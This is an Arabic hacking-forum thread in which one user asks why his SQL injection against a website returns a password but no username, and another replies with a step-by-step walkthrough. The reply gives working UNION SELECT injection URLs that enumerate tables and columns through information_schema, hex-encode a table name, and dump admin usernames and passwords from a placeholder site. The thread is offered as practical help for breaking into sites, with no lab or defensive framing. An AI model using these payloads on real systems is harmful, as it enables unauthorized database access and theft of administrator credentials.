مشكلة في sql !!

[dragon47]

السلام عليكم


اخواني انا اليوم وانا احقن موقع واجهتني مشكلة وهي


انني لما احقن موقع واضه باسورده لا يضهر معه اليوزر متل admin فأنا ضهر لي عدد 1 فهل من اخد يستطيع مساعدتي

[CENTER]والسلام عليكم[/CENTER]

المصدر: :: vBspiders Professional Network ::

---

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC la;gm td sql !!

[aircrack -ng]

شوف اخي نمشي خطوة خطوة

مثلا معانا موقع وكان اصدار قاعدة البيانات 5 وكان عدد الاعمدة 8
مثلا معنا هالموقع

http://xxxx.com/index.php?id=1+union+select+1,2,3,4,5,6,7,8--

مثلا العمود المصاب رقم 2

احنا بدنا نطلع الجداول وبالتحديد جدول اليوزر الي يطلعلنا بيانات الادمن

http://xxxx.com/index.php?id=1+union+select+1,group_concat(table_name,0x3a,column_name,0x3a,table_schema),3,4,5,6,7,8+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 37)--

والان طلعت معانا جداول كثيرة

users:password:system

tab_admin:password:system

info:level:system

احنا نشوف مين فيهم يطلعلنا معلومات الادمن نحنا مثلا نشوف انو هاد راح يطلعلنا كل معلومات الادمن

tab_admin

احنا نفوت نشفرها بموقع التشفير

احنا شفرناها وكل شيء تمام

http://xxxx.com/index.php?id=1+union+select+1,group_concat(table_name,0x3a,column_name,0x3a,table_schema),3,4,5,6,7,8+from+information_schema.columns+where+table_name=0x7461625f61646d696e

الان طلع معانا معلومات كثير
id
username
password
email
وهيك
id=رقم العضوية
username=اسم الادمن

password=باس الادمن

يعني راح نعمل هيك

http://xxxx.com/index.php?id=1+union+select+1,group_concat(username,0x3a,id,0x3a,password),3,4,5,6,7,8+from+tab_admin

طيب الان طلعت معانا اليوزر والباس راح يكون هيك

مثلا اليوزر طلع admin
رقم العضوية 1
الباس 123456

اتمنى تكون وصلت الفكرة

[Dr.NaNo]

مشاء الله تبارك الله اخي عبد الصمد ماقصر واللهي.يستاهل كل خير.


وبارك الله في الجميع يارب.